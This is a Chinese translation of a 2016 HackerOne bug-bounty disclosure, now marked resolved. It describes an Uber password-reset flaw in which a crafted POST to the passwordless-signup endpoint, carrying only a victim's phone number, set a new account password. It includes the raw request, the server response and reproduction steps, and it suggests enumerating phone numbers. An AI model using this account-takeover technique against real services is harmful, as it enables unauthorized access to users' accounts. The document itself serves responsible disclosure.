漏洞状态: 已解决(关闭)
披露时间: 2016年7月15日 凌晨5点38分
报告对象: Uber
漏洞类型: 身份验证类
奖金: 10000$
Uber是一款全球即时用车软件,该软件现已覆盖了全球六十多个国家和三百多个城市。而Uber的主要目的就是为大家提供更安全、更舒适的出行方式,并改善城市交通。
安全研究专家发现,通过Uber终端设备中的/rt/users/passwordless-signup, 攻击者只需要知道目标Uber用户的手机号码,即可修改这名目标用户的Uber账号密码 。但实际上,攻击者也可以不断枚举出手机号码,直到生成出注册了Uber账号的手机号。
目前,安全研究专家已经在Uber的乘客端进行了漏洞测试,并且发现这一漏洞很可能同样适用于Uber的司机端和其他用户角色。
下面给出的是客户端的网络请求数据(用户具体的手机号已用xxxx代替):
POST /rt/users/passwordless-signup HTTP/1.1 Host: cn-geo1.uber.com User-Agent: client/iphone/2.137.1 Connection: close Content-Type: application/json Content-Length: 197 {"phoneNumberE164":"+xxxxxxxx","userWorkflow":"PASSWORDLESS_SIGNUP","userRole":"client","mobileCountryISO2":"XX","state":"CREATE_NEW_PASSWORD","newPasswordData":{"newPassword":"12345678911a!"}}
网络请求所对应的服务器响应信息如下:
{"phoneNumberE164":"+xxxxxxxx","serverState":"SUCCEEDED","serverStateData":{"nextState":"SIGN_IN"},"tripVerifyStateData":{},"userMessage":"New password has been created. Please login with the new Password.","userRole":"client","userWorkflow":"PASSWORDLESS_SIGNUP"}
首先,我们需要创建一个新的Uber乘客账号。在实验的过程中,安全研究人员使用的是iOS端的应用程序,但是这一漏洞并不受应用程序平台的影响。
注册成功之后,将上面的网络请求再次发送给Uber的服务器,但是需要在发送之前将“phoneNumberE164”的值修改为绑定账户的手机号码(手机号码需要包含国家号码前缀,并以“+”开头。例如美国手机号的前缀码为+1xxx)。在某些情况下,你可能需要重复发送两次这样的网络请求,否则你可能无法接收到服务器端发回的响应信息。最终,我们将会接收到一条内容为“新密码已被创建”的提示信息,这也就意味着,我们已经成功更新了目标账户的登录密码。而目标账号的新密码就是请求中“newPassword”域的值。
这样一来,我们就可以在 http://riders.uber.com/ 或者其他地方使用新密码来登录这个账号了。
在此之前,Uber一直都是黑客经常会选择的攻击目标。早在2014年,Uber公司就发生过严重的数据泄漏。在此次事件中,大约有五万名Uber出租车司机的姓名和驾驶执照信息被窃取了。此外,在2016年上半年,Uber平台下的大量账号信息竟然出现在了暗网市场中,大量用户信息发生了泄漏。为此,Uber公司的技术人员真的应该好好检查一下他们的产品安全性了。
本文由 360安全播报 翻译,转载请注明“转自360安全播报”,并附上链接。
原文链接:https://hackerone.com/reports/143717